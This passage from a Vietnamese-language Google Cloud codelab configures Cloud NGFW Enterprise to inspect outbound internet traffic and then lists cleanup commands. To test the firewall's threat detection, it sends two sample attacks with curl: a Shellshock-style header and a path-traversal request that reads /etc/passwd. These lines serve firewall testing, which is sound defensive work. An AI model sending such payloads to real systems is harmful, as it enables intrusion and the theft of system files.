Bạn có thể xác minh các gói đã chặn của Cloud Firewall bằng cách sử dụng bộ lọc Trình khám phá nhật ký bên dưới (rất hữu ích cho mục đích khắc phục sự cố):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Tiếp tục kiểm tra lưu lượng truy cập Internet (không bắt buộc) hoặc đóng phiên SSH và chuyển sang chương tiếp theo để xem các bước dọn dẹp.

[Không bắt buộc] Kiểm tra lưu lượng truy cập Internet

Như đã xác minh trong phần trước, các luồng đã kiểm tra cho đến nay là trong cùng một mạng con/VPC (Đông-Tây) và lưu lượng truy cập đến từ Internet (Bắc-Nam đến). Bạn cũng có thể định cấu hình Cloud NGFW Enterprise để kiểm tra tất cả lưu lượng truy cập Internet (lưu lượng truy cập từ Bắc đến Nam) bằng cách tạo một quy tắc đi ra mới bằng Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Chuyển về máy ảo ứng dụng và gửi lại các cuộc tấn công có mức độ nghiêm trọng cao đến IP máy chủ bên ngoài:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Kết quả đầu ra dự kiến:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Chuyển sang thẻ Các mối đe doạ trên Cloud Console để xác minh nhật ký (bạn có thể cần làm mới vài lần). Các cuộc tấn công đã được xác định và ghi lại lại, nhưng giờ đây, IP nguồn là nội bộ vì quy tắc thoát đang được kích hoạt trước tiên:

36f8edf264dcddcd.png

Đóng phiên SSH và chuyển sang phần tiếp theo để xem các bước dọn dẹp.

8. Các bước dọn dẹp

Dọn dẹp các thành phần doanh nghiệp của NGFW trên đám mây

Liệt kê các mối liên kết hiện có giữa Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Xoá mối liên kết Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Liệt kê các điểm cuối hiện có của Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Xoá điểm cuối Cloud NGFW Enterprise (có thể mất khoảng 20 phút):

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Xác nhận rằng bạn đã xoá Cloud NGFW Enterprise bằng cách chạy lệnh dưới đây:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Xoá Nhóm hồ sơ bảo mật và Hồ sơ ngăn chặn mối đe doạ:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Dọn dẹp chế độ thiết lập cơ sở

Hãy chuyển sang bước tiếp theo nếu bạn muốn xoá tài nguyên cơ sở.

Xác định các biến môi trường nếu cần. Trong Cloud Shell, hãy xoá các thành phần Trình cân bằng tải mạng:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Xoá thực thể:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Bạn có thể thực hiện các bước bên dưới nếu vai trò tagAdmin và tagUsers đã thay đổi:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Xoá khoá và giá trị thẻ:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Xoá Chính sách mạng của Tường lửa trên đám mây và mối liên kết:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Xoá Cloud Router và Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Xoá địa chỉ IP được đặt trước:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cuối cùng, hãy xoá mạng con và mạng VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Xin chúc mừng!

Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình về Cloud NGFW Enterprise cho hoạt động kiểm tra Đông-Tây và Bắc-Nam.